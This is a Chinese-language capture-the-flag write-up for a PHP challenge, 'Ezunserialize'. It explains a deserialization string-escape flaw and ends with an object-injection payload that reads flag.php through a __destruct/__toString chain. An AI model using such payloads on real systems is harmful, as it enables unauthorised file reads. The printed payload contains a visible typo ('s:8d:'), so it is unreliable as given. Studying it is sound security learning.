Ezunserialize
題目給出了原碼
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存儲序列化數據的過程,下面是取出來並反序列化的操作
$b = unserialize(read(write(serialize($a))));
代碼審計
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
這里是先將 chr(0).''.chr(0) 這 3 個字符替換為 \0\0\0 這 6 個字符,然后再反過來在 read 函數處理后,原先的 '\0' 被替換成 chr(0).''.chr(0)。假如54個字符長度的 '\0' 被替換成27個字符長度的 chr(0).'*'.chr(0) ,但是它的字符長度標識還是 s:54 。所以在進行反序列化的時候,還會繼續向后讀取27個字符長度,這樣序列化的結果就完全不一樣了。
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
這里是用C類中的__toString()方法中的file_get_contents()函數來讀取flag.php的源碼,然后發現在B類中存在字符串的拼接操作$c = 'a'.$this->b; 此處的$b屬性實例化為C對象即可觸發__toString()方法。
解題方法
下面貼出我的payload
$a = str_repeat('\0',27);
$b = '1234";s:8d:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}';
$c = new A($a,$b);
$d = unserialize(read(write(serialize($c))));